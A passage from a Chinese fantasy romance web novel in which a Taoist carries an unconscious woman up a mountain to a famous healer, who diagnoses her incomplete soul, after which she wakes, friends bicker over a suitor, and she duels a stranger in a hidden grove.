如此一想,虞海绒张开嘴,喝下了烛祁递来的汤药。
“我自己来吧。”她伸手将碗从烛祁手中拿过,抬头将汤药饮了个干净。
烛祁看着她不知在思索什么,原本柔和的目光再次结上冰霜。
若他真的死了,那该多好。
……
车轱辘碾过,一路磕磕绊绊终于到了荆州。
唐渡用墨色斗篷将娄弦遮住,径自背上她朝城内走去。
荆州到底比湘城热闹许多,商贾云集,贩夫走卒,甚至还有不少文人墨客吟诗作对,大多数人都专注着手中的事,鲜少有人注意到街上来来往往之人。
阿含谷声名在望,随处问几个路人便能找到方向。
不知行了多久,唐渡脚步停了下来。
他抬头看着高耸入云的山际,千层阶盘踞而上,宛若巨龙卧于山间,自下而上望不到头。
“唐道长,这山,未免太高了些。”拂琵不免担忧。
一人爬山已是吃力,唐道长身上还得背着一个,到了阿含谷岂不是要丢半条命。
多数人还未登山,光是看了这架势就望而止步,更别说走完这一程了。
“无妨。”山谷空旷,唐渡的声音清晰坚定。
有鸟鸣声响起,随着谷间清脆扬长的回荡声,山下之人提了步,毅然迈上第一阶。
拂琵望着唐渡上行的身影,也不犹豫,当即迈了步子紧随其后。
千层阶蜿蜒于山间,唐渡背着娄弦行走于天阶之上。
山谷壮阔浩渺,如墨的身影远远化作一点,渺然却无比坚定。
夏日闭热,两侧虽有浓茂绿荫,可仍挡不住额间热浪。
唐渡喘了气,额间已有不少汗渍渗出,他抬头,眼前依旧是望不到尽头的山阶。
人在艰难徘徊之际,意志最是消沉,往往一点磨难就能让人折返。
“唐道长,快了。”拂琵喘着气安慰。
这是一条无尽道,她也不知道这句“快了”是否中用,可已走到此处,哪有放弃的道理。
唐渡咬牙,将身后之人往上提了提,继续朝上走。
寒水打湿衣襟,汗珠落在石阶上快速晕开。
众山巍峨,天地青茫,喉间燥热干涩,唐渡双腿开始打颤,谷间只有蝉鸣于登山之人的喘息声。
远观山径,三人在绿木间缓缓前行。
不知走了多久,拂琵撑着身子快要倒下。
“快了,就快了。”她的声音有些发虚,似是在说给自己听又似说给唐渡听。
唐渡脑袋发嗡,瞧着
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眼前事物都有些发黑,整个人晃晃悠悠快要从山间坠下。
他甩甩头,深呼吸一口,忍着胸口的闷跳重新将目光放在阶梯之上,他浑身都已湿透了。
快了,就快了。
这是上山后他不停告诉自己的话,仿佛真能走的快些。
他调整姿势再次迈腿,还未踏上石阶,背上之人忽有了动静。
唐渡抬腿的动作一滞。
那句含糊不清,又带有委屈的声音清楚传入唐渡耳朵。
“阿娘,别讨厌我。”
一阵凉风吹过,唐渡耳边呼呼作响。
汗水浸透肤间处传来丝丝凉意,原本的闷燥被吹散,耳畔只剩下树叶摩挲之声。
“娄弦?”唐渡启唇微动,轻声试探。
背后传来细微的呼吸声,再没了声响。
是梦话?
一旁的拂琵见唐渡止了脚步,不明所以:“唐道长,怎么了?”
“没什么。”唐渡摇摇头,并未将娄弦那句话说出,只道,“走吧。”
拂琵也没追问,提起步子朝上迈去。
唐渡静滞原地,良久,他重新迈上石阶。
只在迈出下一步时,他用近乎细微到不可耳闻的声音说——
“不讨厌你。”
脚步踏至,几片绿叶轻坠,安然落在脚边。
踏上落叶,越过重山千阶,“阿含”二字已然出现在眼前。
阿含谷位于群山环绕之中,静谧安详。
门前有小童在扫青石灰阶上的落叶,见有来者,其中一人放下扫帚朝唐渡走来。
“远客可是来找我们谷主?”
“正是。”唐渡缓了气息道,“还请小友通传一声。”
小童看了眼唐渡背上之人,礼道:“稍等。”
小童转身朝里走去,没等多久他便从里面出来了。
“道长请随我来。”
小童在前方引路,拂琵唐渡跟着她朝谷中走去。
除了最外面的正堂,许多零散的院舍都是依山而建,那些路也只在原有的山径上略作调整,酷热之际,阿含谷内却清凉无比。
小童将三人带至一间客卧,拂琵留下照顾娄弦。
将娄弦安顿好后,小童又将唐渡领到另一座院子,上面写着三个字“饲药司”。
唐渡正要迈腿,小童率先提醒:“道长注意脚下。”
唐渡一低头,门槛处不知为何会有一把铁铲横着,若不是小童出言提醒,恐怕得结实摔一跤。
再往里走,唐渡的表情开始难以控制起来,甚至怀疑自己来错了地方。
这院子似乎许久没有打理了,怎么看都不像是有人住的地方。
镰刀石铲乱放一通,还有烂了大片的不知名药草。
放置东倒西歪的箩筐,院子中间还架了口大锅,里面黑漆漆的不知是何物,上面还漂着几只蛾虫,该有的不该有的全出现在院内。
赫赫有名的仙医柳式通就是在这里炼药?!
幻觉,一定是幻觉。
察觉到唐渡的沉默,小童有些不好意的说:“谷主不愿旁人来收拾他的院子,若是有人动了位置,他就找不到东西了。”
这院子乱的不像话,可唐渡还是报以微笑:“理解。”
小童朝西侧紧闭的木雕门瞧了瞧,说:“道长稍坐,谷主一会儿就出来。”
说完,小童行礼离开。
唐渡拘谨的站在原地,朝周围看了又看。
坐?坐哪儿?
罢了,还是站会儿吧。
太阳逐渐西斜,连带着最后一抹霞光遮去,伴随着一声巨响,原本紧闭的木门忽然被炸开了。
一股呛鼻的浓烟从里面弥漫开来,浓烟之下,一个老头颤巍巍爬了出来。
花白的山羊胡被烧焦一半,只留下稀疏的几根。
他边咳边朝唐渡伸手:“拉、咳、拉老夫一把……”
18. 魂魄不全
唐渡看着眼前半焦的老头,一时没有反应过来。
大名鼎鼎的柳谷主好歹是仙风道骨之姿,再不济也是风雅脱俗,唐渡怎么也没想到会是眼前这位、这位……
闻言柳谷主呼救,唐渡即刻从惊愕中回神,上前将柳式通扶了出来。
柳式通站稳身子,又忍不住打了好几个喷嚏,直到屡屡张嘴打不出来,这才缓过劲来。
“……柳谷主。”
“无事无事。”柳式通浑不在意摆摆手,“老夫习惯了。”
给那位贵人研制的药始终达不到满意的地步,屡屡尝试屡屡失败,从哪里被炸就从哪里爬起来。
他拍拍只剩半截的衣服,抬头看向身旁的俊逸青年。
方才没注意,现下一瞧,着实让人惊叹。
鼻梁高挺眉如墨画,一身清雅道袍俊逸脱俗,和谷中那位相比亦是不相上下。
“好看。”柳式通由衷的赞赏,“对了,听阿必说你是背着一个姑娘上来的?”
阿必便是今日领路的小童。
唐渡点头道:“正是。”
柳式通爽快一甩袖,双手交叠至后背,大摇大摆朝外走去:“走,老夫去瞧瞧。”
这就直接去瞧瞧了?
唐渡欲言又止:“柳谷主你……”
“给人看病是瞧本事,又不是瞧衣装,回头再晚些你的小娘子就没命了。”
柳式通朝他眨眨眼,穿着半截衣服朝客卧走去。
唐渡一人停在原地,好半天才喃喃出一句:“她不是我娘子……”
柳式通早已走远,哪还听得见唐渡说什么。
无果,遂跟上。
拂琵没想到唐道长请柳谷主请了这么久,更没想到赫赫有名的柳仙医竟是……如此清新脱俗之人?
这模样,这衣着。
好别致。
“柳谷主?”拂琵将信将疑朝唐渡看去。
唐渡点点头,拂琵这才确信眼前之人就是柳式通。
她礼道:“早闻柳谷主大名,今日一见,果然不同凡响。”
又想到他立下的三不接,生怕他不愿救娄弦,拂琵趁机道:“我和唐道长一同登了千层阶——”
“不重要不重要。”柳式通打断拂琵的话,所有注意力都在娄弦身上。
他撸起黢黑的袖子,扒开娄弦的眼皮看了看,一松手,清白的脸上顿时留下两道黑指印。
柳式通神色严肃,没了刚才不靠谱的模样,倒还真有仙医的姿态。
“倒是有点意思。”他琢磨半晌,收回手,“如此白净的姑娘还是得仔细对待。”
“别急,容老夫去整理一番,这姑娘有意思的很。”
柳式通笑着朝外跑去,整个屋子只剩下昏迷的娄弦及唐渡拂琵二人。
刚才那一出拂琵还没反应过来。
她取出帕子,轻轻擦拭娄弦脸上的黑印:“柳谷主是何意?他答应救阿弦了吗?”
唐渡轻“嗯”一声,将刚才路上柳式通的话又说了一遍。
“你们过了这千层阶,就是阿含谷的病客,那些所谓的规矩都是定给心有所惧之人看的。”
病急求医,不看权贵金钱,只看一颗诚心。
若心有所惧半途而废,便是决心未到心不诚,心不诚者何以抱得他人之诚。
拂琵点点头:“柳谷主真是医者仁心,这么说来阿弦有救了!”
她的脸上浮现喜悦。
那几阶千层阶真是没白登,一切都值了。
柳式通换了身衣服,他将手搭在娄弦脉搏,凝了面容。
拂琵满脸紧张的在一旁看着。
瞧柳谷主严肃的模样,想必娄弦的情况并不乐观。
良久,柳式通收回手,习惯去摸下巴上的胡子。
饲药司那一炸早将半截胡子炸毁,柳式通摸了个空,只能顺势摸上下巴:“那个,你们二位与这姑娘是何关系?可了解她的过去?”
娄弦的过去?娄弦从未说过自己的过去。
唐渡与娄弦相识虽有一段时间,可许多话娄弦不曾说,他也不曾追问。
拂琵与娄弦认识时间虽不比唐渡长,可闇狴城仗义搭救,拂琵相信自己不会看错人。
莫非是柳谷主反悔了?不愿救娄弦了?
拂琵急道:“我们和阿弦都是好友,虽不了解她的过去,可阿弦绝不是坏人,柳谷主您一定要救救她!”
唐渡也道:“柳谷主,是有什么问题?”
柳式通咂咂嘴,起身坐到桌边给自己倒了杯水。
大概是那杯水还未凉透,柳式通刚抿上茶口就被那杯水烫了个囫囵。
“烫烫烫。”柳式通一激灵从圆凳上弹起,龇牙咧嘴吐着舌头去火,“这姑娘体质特殊,常人三魂七魄所定,她体内却只有四缕魂魄呀!”
柳式通好半天缓过劲来,舌头发麻,每个字说得含糊不清:“少一魂一魄,或痴或疾,若丢半数以上即为失魂,失魂命陨,可她却活的好好的。”
凉气吹进嘴里,这才有所缓解。
“物什有裂,修补尚且能用,可人不同,即使外疮旧疤已然痊愈,可里面的东西尚未好全,再忙活都是白白浪费力气。这女娃娃伤了身体根本,□□压不住魂魄,自然醒不过来。若要想使其醒来,必先修其肉身后压其魂魄。”
柳式通双手负在身后,说得摇头晃脑。
唐渡的表情却沉默起来。
这一脸担心的表情,是在质疑他的医术?!
柳式通大步走上前,对着唐渡吹胡子瞪眼道:“你这是什么表情?你对我不信任?我柳式通祖上可是实实在在的仙医,这种小事能难得住我?”
“谷中有一浴汤,就在我饲药司之后,届时我会让药童将浴药备好,在配合我的药膳,至多五日,她便能醒来了。”
柳式通自信扬头,朝唐渡哼哼两声,负手走了出去。
唐渡看向床榻上昏迷的娄弦。
他不是质疑柳式通,只是在深思柳式通刚才说的那番话。
魂魄不全。
陡然想起杨府除妖那夜,一颗明亮的珠子从朱儿额间升起,最后撞入了娄弦身体。
魂珠。
那是她丢失的魂珠?可她的魂珠为何会莫名离散?
拂琵将柳式通送出门,转头见唐渡一脸沉思的样子看着娄弦,误以为是在担心,遂上前安慰道:“唐道长不必多虑,柳谷主是有本事的,他说至多五日阿弦就能醒来了。”
唐渡回神。
有些话,还是日后独自再问吧。
桂月之季,芙蕖轻曳,有几个身穿青蓝短裳的小童穿梭于各个院落之间,或煎煮或分药。
他们将分好的药材放入药浴池中。
一小童拉下垂在浴池边的半截细绳,一根稍大的木竹缓缓落下,搭在浴池边上,随着细微的摩擦话落声,调理好的药材从木竹滚滚落下,蒸雾缭绕。
“唐道长,拂琵姑娘,药浴已准备妥帖,半个时辰后起身即可。”小童礼道。
“多谢。”
二人谢过,小童吩咐完之后退下。
细碎的光透过窗户间隙,雾蒙蒙打在娄弦身上。
因着药浴,平日高束的发髻散落,如墨瀑般披散在后肩。
她身上只穿了件轻蝉纱衣,渐透白皙的肌肤宛若一块美玉,勾人心魂。
随着水声没入,原本若隐若现的肌肤被浴水浸透,纱衣紧贴女子轮廓,墨发被打湿,随意搭在山前,清明药香此时成了迷香,乱人心智。
唐渡喉间发涩,耳廓腾起热意,灼热的目光哪敢停留,快步从浴房走了出去。
将娄弦安置妥帖的拂琵一转头,只看到唐渡落荒而逃的背影。
她心中纳闷,奇怪,这是怎么了?刚才还好好的,怎么一声不吭走了。
她摇摇头,独自守在浴池旁边。
唐渡疾步走到外面,直到外头的凉风一吹,身上的燥热才褪去大半,可眼前的光景依旧挥之不去。
他心慌意乱闭上眼,低头默念
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:“寡欲养德,静心凝慧,寡欲养德,静心凝慧……”
直到一个声音响起。
“……唐道长?”
“唐道长?”
唐渡睁眼,一小童正瞪大着眼睛看着他,满脸担忧道:“你没事吧?怎么流血了?是不是哪里不舒服?怎么脸色也不大好?”
流、流血?
唐渡讶异,伸手朝鼻下一摸,黏腻湿润的触感叫他心中一惊。
还真是流鼻血了!
他顿感羞耻!
若师父还在世,定会骂他道心不稳,欲念缠志!
“无碍,大概是天热有些上火。”唐渡背过身,慌乱抹掉鼻下血迹。
小童看了看四周,绿荫遮蔽,日芒挂天,今日好像是比昨日要热些,难怪唐道长会上火。
他又关心了几句:“唐道长注意身体,一会儿煮些三花茶去去火。”
小童说的认真,唐渡捂着鼻子,略微局促点了点头。
在阿含谷的日子过得飞快,转眼已过去三日,拂琵照常给娄弦泡药浴,偶尔去饲药司给柳式通帮忙。
这日,她正替柳式通研磨菊草,阿正急匆匆从外边跑来,像是有什么要紧事。
“谷主,谷主,陈家小公子又来了!”
在药房忙活的柳式通探出一个头,有些头疼:“他怎么又来了,前些日不是刚来过吗,就说我不在。”
小童为难的说:“小公子不信,人已经朝这儿来了。”
柳式通真是一个头两个大。
年轻那会儿游历四海,结识了还在妖殿司当指挥的陈凝,一人医病一人除妖,知己相伴,共话理想。
后来陈凝实力颇显,升至妖殿司殿师,深受皇帝信赖,又娶了当朝宰相之女,地位水涨船高,可二人并未因权贵阻隔,依旧往来书信,关系更甚年轻的时候。
陈凝与其妻育有一子一女,长女陈玉茴承其母美貌,是京中不少贵公子的梦中佳人,求娶之人虽多,可偏偏没人能入她的眼,据说陈家长女心中早有所属之人,是两年前的一位救命恩人。
其子陈御裴更是仪表堂堂少年郎,不仅生的风流潇洒,那双嘴更是哄的姑娘团团转,饶是收到的绢帕就能叠成一罗山,可他偏是万花丛中过,片叶不沾身。
陈御裴每回来阿含谷都搅的谷中女婢心神不宁,还时不时问柳式通要些奇奇怪怪的药材,若是柳式通不给或没有,第二天他的胡子眉毛都被人拔了精光,十天半个月都没长出来,一听到陈御裴这三个字,柳式通就避之不及。
这方说着,那方陈御裴已经高喊柳式通走了进来:“柳叔,前些日我同你说的驻颜丸做出来了吗,我着急给苏家姑娘过生辰。”
进来的少年眉目清爽,一身栀子黄格外惹眼,他笑的明媚,连着眼角的泪痣都生动起来。
拂琵抬眉,正对上陈御裴澄澈的眼睛。
陈御裴忽而定住了,嘴角的笑还没消下去,怔怔看着拂琵。
拂琵虽是狐妖,可长相更偏于柔和,不似娄弦有攻击性。
她今日穿了件水蓝烟云裙,斜插一只宝珠簪,因刚才低头碾药,些许碎发垂落下来。
拂琵看了他一眼,继续低头做手中的事。
正巧柳式通骂骂咧咧从药房出来:“我是医者又不是神仙,容华老去乃人之自然,别总问我要些奇怪的东西!”
陈御裴看得痴了,根本没有注意到柳式通说了什么。
拂琵将捣碎的菊草放在药纸上,灵巧捆绑放在一处。
“柳谷主,今日的菊草都研磨完了,我先回去啦。”
柳式通满意的点点头。
这小女娃不仅长的漂亮,人还勤快,做事干净利落,柳式通欣赏的很。
陈御裴的眼睛还黏在拂琵身上,甚至忘了来意。
他凑到柳式通耳边低问:“阿含谷何时出了这么漂亮的姑娘?哪里人?婚配否?”
柳式通白了他一眼,一掌拍在他头上怒骂:“你爹这么专情,怎么生了你这么个玩意儿!”
19. 醒了
绿树遮阴,蝉鸣枝头,行云缭绕翠谷。
小童捧着药盒穿过竹间小径,朝西面客卧走去。
拂琵从饲药司回来,还未进门,就听见屋内传来挑弄的声音。
“唐道长,摸够了吗?”
唐渡面色一黑,僵硬着身子想把手抽回来。
娄弦反将身子一压,唐渡的手被压在腰下,整个身子朝前一倾,正对上娄弦故意的眼睛。
他本想先将娄弦带去浴池,谁知刚揽上娄弦的腰肢,她忽然睁眼了。
这说不清道不明的距离,反倒叫人误会。
“阿弦……”拂琵加快脚步欢喜进屋,谁曾想看到的是这副场景。
后半句话卡在喉咙,硬是没有说出来。
唐渡的手被娄弦压着,半天抽不出手。
他俯身,沉着脸命道:“抬腰。”
“哦。”娄弦爽快应下,轻轻松了后腰。
掌心的触感稍有一松,唐渡毫不犹豫将手抽出。
他看了眼在门外踌躇的娄弦,带着莫名的愠意道:"看样子今后都不用汤浴了。"
说完自顾朝外走去。
拂琵看着唐渡泛红的耳颈,心中道怪:这是生了多大的气,都上脸了。
遂将这一困惑丢置脑后,满心欢喜朝娄弦走去。
“阿弦,你终于醒了,身上感觉如何?可还觉得疼?”
昏睡这几日,娄弦只觉自己身处混沌,周围是无尽山丘沙海,景色转瞬四季变换,有时又化为漆黑陷入静谧。
偶有几日梦到娘亲,也都是些不愿回首的痛苦。
她在这里走了好几天,始终找不到出口,仿佛全世界都只剩下她一人,直到今天,她才看见这混沌处的光亮。
顺着光亮,便是出口。
娄弦松了松筋骨才从床榻下来。
躺了这么些天,浑身又酸又胀。
她走到屋外,夏风清凉,谷中树荫婆娑,将烈日隔绝在外,空中夹杂的草木香叫娄弦神清气爽。
“这是阿含谷?”娄弦问。
“是的。”拂琵道,“我们一路从湘城过来,唐道长出了不少力,这千层阶还是他背着上来的呢。”
拂琵无心的一句话却叫娄弦眉眼一动。
早闻阿含谷规矩甚多。
要想请柳式通看病,得越过谷中千层阶,千层阶入峰林,旁人站在山脚下就望而生怯了,这臭道士真将自己背上来了?
为何?为何要做如此费劲之事?
娄弦转头,拂琵正一脸关切的望着她。
她突然问:“除了唐渡,你也登了这千层阶?”
娄弦的语气不是陈述,而是不可相信的询问。
世上从未有替她付出之人,她也不信世上有这样的人存在。
她看着眼前纯粹真挚的眼睛,清楚听见拂琵道:“求人医病,要的是一颗诚心,不过是千层阶罢了,只要你能醒来,一切都值得。”
值得,何为值得?
心之所向,情有所归,付而应心,百折无悔。
娄弦对拂琵来说,便是那个值得之人,可以为其付出而无悔之人。
谷中掀来一阵凉风,四目相视,如棠棣连枝,共暖半生。
某处冰雪似有些化了,露出常青树盎然一角,不再凌厉寒霜,倒有些生机勃勃。
娄弦忽然笑了一下,抬手撩开拂琵肩上的细发,顺手搭在上边。
“多谢。”
拂琵怔愣一下,直到肩上的手抽离。
她忽而低头,看着被风微微吹动的裙摆,像是想到了什么,声音带着些许动容:“是我多谢你。”
闇狴城的小妖最没有生权,只能任人欺凌。
她受够了这样的日子,可又别无他法。
烛祁根本不管她们这些小妖的死活,她泡在苦水里,身不由己,如笼中之鸟困在其中。
她没有逃跑的机会,若那日娄弦没有出手相救,恐怕她已成为一抔黄土,死的微若尘芥,无人知晓,是娄弦将她从泥泞中拉了出来。
是她该多谢的。
姑娘间的心思总是细腻,娄弦听懂了拂琵的话外之意,她没有点破,只转了话说:“饿了,去找些吃着。”
说着,嘴角挂了笑,抬腿朝外走去。
……
娄弦醒来的消息还未传到柳式通处,眼下他还有另一个难题没有解决,或者说,这个难题他已经想解决很久了。
“怎么样?他用了我新调的药制可有好些?”柳式通迫不及待问从外头进来的小童。
小童摇摇头:“那公子说和往常的药没什么区别。”
柳式通挠了挠头,将小童手中的药碗接过,放到鼻尖下闻了闻,喃喃自语道:“不应该啊,我都换了新方子了,怎么还不见好转。”
他百思不得其解,将药碗丢至一旁,转身准备进屋研制新方子。
唐渡从饲药司外走了进来。
柳式通一见着唐渡便问:“那女娃娃醒了吗?”
眼瞧着过去三日了,也该醒来了。
“正要与谷主说此事。”
唐渡一开口,原坐在树下乘凉的陈御裴一把拿掉放在脸上的蒲扇,满是惊喜坐起来:“唐道长!”
方才他追问拂琵的姓名院落,柳式通嫌他烦不愿搭理他,陈御裴索性赖在饲药司不走了。
正乘凉吹风呢,一道熟悉的声音传来,起身一看,这不是多年前将姐姐从魇妖手中救回来的大恩人嘛!
少年兴冲冲朝唐渡走来,高扬的发尾左右晃动,尽显蓬勃朝气。
“你怎么在这儿啊?”
唐渡讶异道:“陈公子?”
两年前唐渡途经京都,妖殿司殿师陈凝之女深受魇妖困扰,整个妖殿司都束手无策。
不知是谁提了唐渡名号,陈家写了请帖邀唐渡上门。
唐渡入了陈玉茴梦境,破其心结,将她从魇妖手中救了回来。
陈家为了答谢唐渡,邀他在府中小住了些时日,二人的缘分就是在这时结下的。
后来唐渡离京,游行四海,陈御裴逐渐没了唐渡的消息,二人这才断了联系,今日能在阿含谷相遇,属实意外。
见陈御裴一脸热情,柳式通忍不住问:“二位认识?”
“当然,我姐姐身上的魇妖就是唐道长除的。”陈御裴骄傲仰起头,仿佛捉妖的人是他。
不过好端端的,唐道长怎么会在阿含谷。
陈御裴上下打量着唐渡,关切道:“唐道长是不是哪里不舒服?”
怕唐渡不好意思,他又拽着柳式通的手说:“柳叔神医妙手,有症状你一定要告诉他,男人嘛,总归会有些难以启齿的毛病,你别多想,柳叔会给你治好的啊。”
陈御裴一顿关心,唐渡有些招架不住,赶忙打断他说:“不是我。”
他顿了顿,大概是在想合适的措辞:“是一个朋友。”
“朋友?”陈御裴稀奇极了。
唐道长独来独往惯了,也不曾听闻他有什么朋友,当初给他介绍京中好友时,他拒绝的模样至今还留在陈御裴心中。
这看着也不像是会交朋友的人啊。
唐渡收了话,转而对柳式通道:“她醒了。”
柳式通眼睛一亮,挣脱开陈御裴的手道:“好好好,这就去看看。”
好歹是救了一个。
柳式通提着衣服朝饲药司外走去,陈御裴不明所以,又追上唐渡的步子问:“谁醒了?”
三人一前一后朝西面客卧走去,进屋时,娄弦正抓着一只鸭腿往嘴里塞。
拂琵将盛好的热汤端到娄弦面前,怔怔看着进来的三人。
“柳谷主?唐道长?”她看向第三人,这不是今日
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来找柳谷主的少年吗?
陈御裴更是惊讶。
今天是什么好日子,遇见了姐姐的救命恩人,还知道了心心念念姑娘所住的院子。
柳式通笑眯眯看着娄弦:“娄姑娘,醒来感觉身体如何?”
娄弦咬下一口肉,擦了擦手说:“能吃,能睡,能说话。”
“多谢柳谷主了。”
柳式通摸了摸下巴,胡子还没长全,他客气摆手:“不必谢不必谢,过几日我再配些药材,将你体内的东西排清就无碍了。”
娄弦扫了眼唐渡,将旁边的空碗一推,随口道:“唐道长吃了么?”
不等唐渡说话,陈御裴率先坐了下来。
一双桃花眼放在拂琵身上就没挪开,他乐呵道:“我还没吃呢。”
柳式通摇了摇头,甩着袖子离开了。
娄弦看了陈御裴一眼,顺着他的目光移到拂琵身上:“你认识?”
拂琵摇摇头,一脸奇怪的看着他。
“我叫陈御裴,姑娘怎么称呼?何许人也?可婚配?可有心上人?”陈御裴朝拂琵挪近了些,一双眼亮闪闪看着她。
拂琵感到别扭极了,朝娄弦看了一眼。
“我……”
拂琵话还没说完,就看见眼前的少年被人拉着衣领抓了起来。
娄弦将啃完的鸭腿骨头丢到碗里,顺手在陈御裴身上擦了两把。
她的力气很大,拖着陈御裴就往外边走。
“好端端的怎么会有苍蝇进来。”
娄弦轻描淡写的一句话惹怒了陈御裴。
苍蝇?说他是苍蝇?简直岂有此理!
他抬手去掰娄弦的胳膊,却发现娄弦的胳膊很结实,这劲比他还大上几分。
论力气比不过,眼看着自己离心爱的姑娘越来越远,陈御裴无能狂怒:“你骂谁苍蝇呢!你就见过这么俊俏的苍蝇吗?我父亲可是妖殿司殿师!我要是掉根头发,你就完蛋了!哎呀!”
娄弦毫不留情将陈御裴丢了出去。
她双手环胸居高临下看着他,虽一句话未说,陈御裴却被这气势唬住了。
他喉咙一噎,刚才还到处高喊呢,现在安分的像个鹌鹑。
“哦?掉根头发我就完蛋,那我若是把你的头发剃光呢?”说着,娄弦手中变出一把短刀。
刀刃锋利,这哪是要剃头发,分明是要剃他的头!
唐渡在一旁忍俊不禁,他从未见过陈御裴吃瘪。
陈御裴生的俊逸,又有着鼎好的家世,京中不少贵女都想嫁给他。
拂琵木人石心也就罢了,娄弦直接大打出手,还拿一把短刀威胁,他何时吃过这种苦。
唐渡生怕娄弦真剃了陈御裴的头发,看热闹之余不忘上前解围:“下回注意些,别看到漂亮姑娘就往前凑,有些漂亮姑娘是带刺的。”
唐渡的话意有所指。
娄弦看了他一眼,收了手中的短刀。
陈御裴揉着屁股从地上站起来。
相比较拂琵,娄弦生的更冷艳些,不笑时散着生人勿近的气息,这点和唐渡倒是挺像。
陈御裴心中仍有些不服,可一想到娄弦拽人的力气,他又蔫了下去。
“我不过是想认识认识新朋友,何至于、何至于……”
何至于把他扔出去,还叫他丢了这么大的脸。
在家时可没人敢这么对他,哪个不是对他恭恭敬敬,连母亲都没动手打过他。
陈御裴越想越委屈。
拂琵见陈御裴低落的模样,眼瞧他没有恶意,犹豫了半晌终是开口:“你叫我拂琵吧。”
那声音如同山泉淌过陈御裴心间,又似一根羽毛轻飘飘落在心头,惹的人酥酥麻麻。
他很快咧嘴笑起来,忘了刚才发生的不快。
娄弦抽了抽嘴角,忍不住吐槽:“像只憨犬。”
20. 醒了(二)
过几日便是中秋,谷中也开始忙起团圆饼。
陈御裴给家中去了信,说是今年中秋不回家了,准备在阿含谷过。
月桂飘香,金粒粒落在地上,拂琵将新做的团圆饼放在桌上,金黄酥皮,裹着甜腻的蜜陷,还未进门就闻到了甜香。
陈御裴最是捧场那个,围着拂琵忙前忙后,又是和面又是递水,在家都没这么勤快过。
娄弦看着陈御裴献殷勤的模样,咬了口团圆饼对唐渡道:“拂琵对男人还是过于心软了,这才几天就被缠上了。”
团圆饼内加了桂花粒,馥郁芬芳,甜而不腻,娄弦眼前一亮,又从盘中拿了一块。
唐渡见娄弦吃的开心,也被调动味蕾,伸手拿了一块。
他不喜吃甜,刚咬下一口,酥皮渣软,桂花香充斥鼻腔,一切都恰到好处。
“如何?好吃吗?”拂琵一脸期待的看着娄弦。
娄弦还未评价,一旁连吃五个的陈御裴拼命点头捧场:“好吃好吃,拂琵姑娘的手艺真是没话说。”
拂琵放下心来。
先前在闇狴城没有机会,她也是第一次做团圆饼。
她将其中几个用绢帕包裹,准备拿去给柳式通尝尝。
“对了。”陈御裴将手中的酥皮渣拍干净,“中秋那日街上会有傩戏表演,届时我们一块儿去看吧。”
娄弦顺口问:“傩戏?做什么的?”
“驱邪纳祥。”唐渡说道,“荆州百姓每年佳节都会举行傩戏表演,祈祷来年平安顺遂,万事无忧。”
百姓没有通天的本事,往往寄希望于神明,以此来倾说心中夙愿。
望家人身体康健,望来年丰收物饶,望寻觅良缘佳偶,有了希望,日子才会越过越好。
娄弦对寄于神明之事没什么兴趣,倒是拂琵兴致勃勃地问:“那日岂不是会很热闹?”
陈御裴一听,趁机走到拂琵身侧吹鼓道:“自然是热闹!还能见到许多新鲜玩意儿呢!你想吃糖人吗?若你喜欢,我全买给你!”
“阿弦!”拂琵一脸兴奋转向娄弦,显然是被陈御裴说动了。
她还没见过人间的热闹,想看看街上的各式新鲜,还有陈御裴所说的糖人。
娄弦看着陈御裴一张一合的嘴巴,手中的团圆饼瞬间索然无味起来。
不愧是蝶戏百花之人,三两句温柔絮语就把拂琵勾出了兴趣,陈御裴哄骗姑娘的手段果然有一套。
她走到陈御裴身旁,将手中另一个没吃过的团圆饼胡乱塞进他嘴里,带着些许不明的意味道:“吵死了。”
顺手又将碎渣擦在他衣服上。
陈御裴茫然极了,又不敢随意生气,只能默默将嘴里的团圆饼咽下。
这饼实在是噎人的很,他梗着脖子好半天才吞下,看看娄弦,又看看拂琵,小声抗议:“我又说错话了?”
拂琵捂嘴轻笑,满是期待的问娄弦:“那日总归无事,闲着也是闲着,不若就下山凑凑热闹,我还从未看过傩戏呢。”
娄弦本不想去,若她拒绝,岂不是叫陈御裴占了便宜。
想到此处,娄弦对一旁的唐渡说,“唐道长一块儿?”
唐渡呷了一口热茶,甜味冲淡不少:“我不喜热闹,你们去吧。”
娄弦也不强求:“也罢,唐道长性子清冷,去了反而无味,还是留在谷中最好。”
娄弦微微一笑,拍了拍唐渡的肩朝西院朝外走去。
醒来这么些天,她还没在谷中好好逛逛,眼不见为净,索性朝人少处走去。
阿含谷四面环山,院子都错落分布在不同地方,大多数都是沿着山谷地势而建。
院子间由青石小径或走廊相连,别看这谷中人不算多,地方却是大,若是不小心走岔了,一时半会儿还不定能走出来。
娄弦挥去眼前碍事的枝杈,回望刚才走过的路,心中迷了方向。
她打量四周,此处虽还是阿含谷的山界,可与外头大不相同。
月地云阶春和景明,没有一丝酷暑之迹,既不湿冷也不干热,倒像是有人特意打造了舒适之境。
娄弦抬手,凝神看着指尖。
不知是错觉还是什么,此地灵力充沛,她觉身体轻盈许多,也不疲乏。
“阿含谷竟有如此修养之地,原先怎么从未听过。”娄弦喃喃。
她怀着疑心继续朝前走。
路过一片长春花,眼前路径逐渐开阔起来,此地深处竟藏着一间木屋。娄弦还未来得及诧异,便被眼前静坐的男子吸引了目光。
玄紫锦袍,衣袍处绣着的金丝赤蛟图纹似暗流涌动,瑰丽而深沉。其眉眼更是俊凌华贵,饶是闭眼坐在那儿就叫人不可靠近。
她眼眸一转,被其腰间一枚玉贝所吸引。
那枚玉贝此刻正闪着光芒,像是提醒主人有危险靠近。
好东西
想要。
娄弦眉眼一挑,正欲上前,原本闭目的男子倏然睁开眼。
在眼帘轻掀那一刹,一道气压朝娄弦横扫而去如刀刃袭来。
娄弦眼见不妙,即刻后翻稳稳落地,心中警戒顿起。
男子起身,目光凝聚在娄弦手腕,虽不动声色,可娄弦还是察觉到他的探究。
“引魂铃。”男子清越的声音传来。
娄弦脸色微变。
他认得引魂铃?
世人只知有一玉铃能引丢失魂魄,却不曾知晓这玉铃长什么模样,当初她为了夺这引魂铃可费了好大劲,他竟一眼瞧出来了。
娄弦心中的疑云还未消散,又听眼前之人轻易道:“你体内魂魄不全。”
男子言下定论,一双淡眸审视着娄弦。
搞什么,她还什么都没说,此人就道出了她不少秘密。
有点麻烦了。
娄弦眼神逐渐犀利起来:“不太公平啊,我还什么都不知道,你却把我看了个底朝天。”
娄弦手中凝力:“若我现在动手,也不算过分吧?”
天悲戟呼啸而出,二话不说朝男子杀去。
男子身形一动,紫色玄光如墨逸去,一道红影速尔上前,抓住戟柄朝前打去。
漫天春花席卷,一暗一扬的身影在花迹中你来我往相互纠缠。
